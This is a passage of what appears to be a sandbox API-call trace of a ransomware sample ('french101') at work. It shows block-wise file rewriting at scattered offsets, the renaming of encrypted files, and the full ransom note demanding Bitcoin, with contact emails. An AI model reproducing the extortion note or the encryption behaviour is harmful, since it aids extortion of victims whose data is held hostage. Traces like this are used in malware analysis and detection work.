lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x34a97 [0267.242] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.242] SetFilePointer (in: hFile=0x35c, lDistanceToMove=257596, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x3ee3c [0267.242] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.243] GlobalLock (hMem=0x3f40014) returned 0x3ae4e10 [0267.243] GlobalLock (hMem=0x3f40004) returned 0x3ae8e20 [0267.243] GlobalHandle (pMem=0x3ae8e20) returned 0x3f40004 [0267.243] GlobalUnlock (hMem=0x3f40004) returned 0 [0267.243] GlobalReAlloc (hMem=0x3f40004, dwBytes=0x4000, uFlags=0x2) returned 0x3f40004 [0267.243] GlobalLock (hMem=0x3f40004) returned 0x3ae8e20 [0267.243] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40014 [0267.243] GlobalUnlock (hMem=0x3f40014) returned 0 [0267.243] GlobalHandle (pMem=0x3ae8e20) returned 0x3f40004 [0267.243] GlobalUnlock (hMem=0x3f40004) returned 0 [0267.243] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0267.243] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0267.243] GlobalUnlock (hMem=0x3f40004) returned 0 [0267.243] GlobalReAlloc (hMem=0x3f40004, dwBytes=0x4000, uFlags=0x2) returned 0x3f40004 [0267.243] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0267.243] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0267.243] GlobalUnlock (hMem=0x3f40004) returned 0 [0267.260] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x0 [0267.260] WriteFile (in: hFile=0x35c, lpBuffer=0x3eb0838*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eb0838*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.260] SetFilePointer (in: hFile=0x35c, lDistanceToMove=58004, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xe294 [0267.260] WriteFile (in: hFile=0x35c, lpBuffer=0x3eb0c38*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eb0c38*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.260] SetFilePointer (in: hFile=0x35c, lDistanceToMove=86156, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x1508c [0267.260] WriteFile (in: hFile=0x35c, lpBuffer=0x3eb1038*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eb1038*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.260] SetFilePointer (in: hFile=0x35c, lDistanceToMove=117485, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x1caed [0267.262] WriteFile (in: hFile=0x35c, lpBuffer=0x3eb1438*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eb1438*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.263] SetFilePointer (in: hFile=0x35c, lDistanceToMove=155048, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x25da8 [0267.263] WriteFile (in: hFile=0x35c, lpBuffer=0x3eb1838*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eb1838*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.263] SetFilePointer (in: hFile=0x35c, lDistanceToMove=180844, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x2c26c [0267.263] WriteFile (in: hFile=0x35c, lpBuffer=0x3eb1c38*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eb1c38*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.263] SetFilePointer (in: hFile=0x35c, lDistanceToMove=215703, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x34a97 [0267.263] WriteFile (in: hFile=0x35c, lpBuffer=0x3eb2038*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eb2038*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.263] SetFilePointer (in: hFile=0x35c, lDistanceToMove=257596, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x3ee3c [0267.263] WriteFile (in: hFile=0x35c, lpBuffer=0x3eb2438*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eb2438*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.263] SetFilePointer (in: hFile=0x35c, lDistanceToMove=272046, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x426ae [0267.263] WriteFile (in: hFile=0x35c, lpBuffer=0x3eb2838*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eb2838*, lpNumberOfBytesWritten=0x19e7d8*=0x18, lpOverlapped=0x0) returned 1 [0267.264] WriteFile (in: hFile=0x35c, lpBuffer=0x3e95258*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesWritten=0x19e7d8*=0xf2, lpOverlapped=0x0) returned 1 [0267.264] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0267.264] GlobalUnlock (hMem=0x3f4000c) returned 0 [0267.264] CloseHandle (hObject=0x35c) returned 1 [0267.271] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), lpNewFileName="C:\\588bce7c90097ed212\\loW03LH1NrST9RV272o=mVVOVcn9zheBPHduhp6ymTWmKQ.french101" (normalized: "c:\\588bce7c90097ed212\\low03lh1nrst9rv272o=mvvovcn9zhebphduhp6ymtwmkq.french101")) returned 1 [0267.272] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\loW03LH1NrST9RV272o=mVVOVcn9zheBPHduhp6ymTWmKQ.french101" (normalized: "c:\\588bce7c90097ed212\\low03lh1nrst9rv272o=mvvovcn9zhebphduhp6ymtwmkq.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0267.272] SetFileTime (hFile=0x35c, lpCreationTime=0x19e884, lpLastAccessTime=0x19e87c, lpLastWriteTime=0x19e874) returned 1 [0267.272] CloseHandle (hObject=0x35c) returned 1 [0267.272] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\loW03LH1NrST9RV272o=mVVOVcn9zheBPHduhp6ymTWmKQ.french101", dwFileAttributes=0x80) returned 1 [0267.273] CloseHandle (hObject=0x35c) returned 0 [0267.273] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0267.273] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0267.273] GlobalUnlock (hMem=0x3f4000c) returned 0 [0267.273] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0267.273] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0267.273] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0267.273] GlobalUnlock (hMem=0x3f4000c) returned 0 [0267.273] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0267.273] GlobalUnlock (hMem=0x3f40004) returned 0 [0267.273] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0267.274] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e8d0 | out: lpFindFileData=0x19e8d0) returned 0x6da210 [0267.274] FileTimeToLocalFileTime (in: lpFileTime=0x19e8e4, lpLocalFileTime=0x19e864 | out: lpLocalFileTime=0x19e864) returned 1 [0267.274] FileTimeToDosDateTime (in: lpFileTime=0x19e864, lpFatDate=0x19e8b2, lpFatTime=0x19e8b0 | out: lpFatDate=0x19e8b2, lpFatTime=0x19e8b0) returned 1 [0267.274] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0267.274] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0267.274] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0267.274] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x87f [0267.274] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0267.274] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0267.274] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x87f [0267.274] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0267.274] ReadFile (in: hFile=0x35c, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19eadc, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19eadc*=0x87f, lpOverlapped=0x0) returned 1 [0267.275] CloseHandle (hObject=0x35c) returned 1 [0267.275] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0267.275] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0267.275] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0267.275] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0267.275] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0267.275] GlobalUnlock (hMem=0x3f40004) returned 0 [0267.275] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0267.275] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0267.275] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0267.275] GlobalUnlock (hMem=0x3f40004) returned 0 [0267.275] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0267.275] GlobalUnlock (hMem=0x3f4000c) returned 0 [0267.275] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0267.276] CharLowerBuffW (in: lpsz="RGB9RAST_x64.msi", cchLength=0x10 | out: lpsz="rgb9rast_x64.msi") returned 0x10 [0267.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ië\x19", lpUsedDefaultChar=0x0) returned 1 [0267.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="së\x19", lpUsedDefaultChar=0x0) returned 1 [0267.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="më\x19", lpUsedDefaultChar=0x0) returned 1 [0267.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4ë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.322] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.322] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="të\x19", lpUsedDefaultChar=0x0) returned 1 [0267.322] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="së\x19", lpUsedDefaultChar=0x0) returned 1 [0267.322] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.322] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.322] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9ë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.322] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.323] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.323] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.323] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130c8, cbMultiByte=34, lpWideCharStr=0x19db18, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0267.326] CharLowerBuffW (in: lpsz=".msi", cchLength=0x4 | out: lpsz=".msi") returned 0x4 [0267.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".msi", cchWideChar=4, lpMultiByteStr=0x19db18, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".msiw", lpUsedDefaultChar=0x0) returned 4 [0267.326] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi", lpFindFileData=0x19e8b8 | out: lpFindFileData=0x19e8b8) returned 0x6da1d0 [0267.327] FileTimeToLocalFileTime (in: lpFileTime=0x19e8cc, lpLocalFileTime=0x19e7d8 | out: lpLocalFileTime=0x19e7d8) returned 1 [0267.327] FileTimeToDosDateTime (in: lpFileTime=0x19e7d8, lpFatDate=0x19e89a, lpFatTime=0x19e898 | out: lpFatDate=0x19e89a, lpFatTime=0x19e898) returned 1 [0267.327] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0267.327] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi", dwFileAttributes=0x20) returned 1 [0267.327] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0267.327] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0267.327] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x2d200 [0267.328] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0267.328] SetFilePointer (in: hFile=0x398, lDistanceToMove=184832, lpDistanceToMoveHigh=0x19e7d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7d0*=0) returned 0x2d200 [0267.328] WriteFile (in: hFile=0x398, lpBuffer=0x3f31c58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c58*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0267.402] CloseHandle (hObject=0x398) returned 1 [0267.719] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0267.719] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0267.719] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x2d201 [0267.719] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0267.719] SetFilePointer (in: hFile=0x398, lDistanceToMove=184832, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x2d200 [0267.719] SetEndOfFile (hFile=0x398) returned 1 [0267.723] CloseHandle (hObject=0x398) returned 1 [0267.723] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0267.723] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x0 [0267.723] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x2d200 [0267.723] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x0 [0267.724] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0267.724] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x0 [0267.724] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.725] SetFilePointer (in: hFile=0x398, lDistanceToMove=56326, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xdc06 [0267.725] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.725] SetFilePointer (in: hFile=0x398, lDistanceToMove=74513, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x12311 [0267.725] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.725] SetFilePointer (in: hFile=0x398, lDistanceToMove=109581, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x1ac0d [0267.725] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.725] SetFilePointer (in: hFile=0x398, lDistanceToMove=132076, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x203ec [0267.725] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.726] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0267.726] GlobalLock (hMem=0x3f40014) returned 0x3ae6e20 [0267.726] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0267.726] GlobalUnlock (hMem=0x3f40004) returned 0 [0267.726] GlobalHandle (pMem=0x3ae6e20) returned 0x3f40014 [0267.726] GlobalUnlock (hMem=0x3f40014) returned 0 [0267.726] GlobalLock (hMem=0x3f40014) returned 0x3ae4e10 [0267.726] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40014 [0267.726] GlobalUnlock (hMem=0x3f40014) returned 0 [0267.743] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x0 [0267.744] WriteFile (in: hFile=0x398, lpBuffer=0x3eae438*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eae438*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.744] SetFilePointer (in: hFile=0x398, lDistanceToMove=56326, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xdc06 [0267.744] WriteFile (in: hFile=0x398, lpBuffer=0x3eae838*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eae838*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.744] SetFilePointer (in: hFile=0x398, lDistanceToMove=74513, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x12311 [0267.744] WriteFile (in: hFile=0x398, lpBuffer=0x3eaec38*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eaec38*, 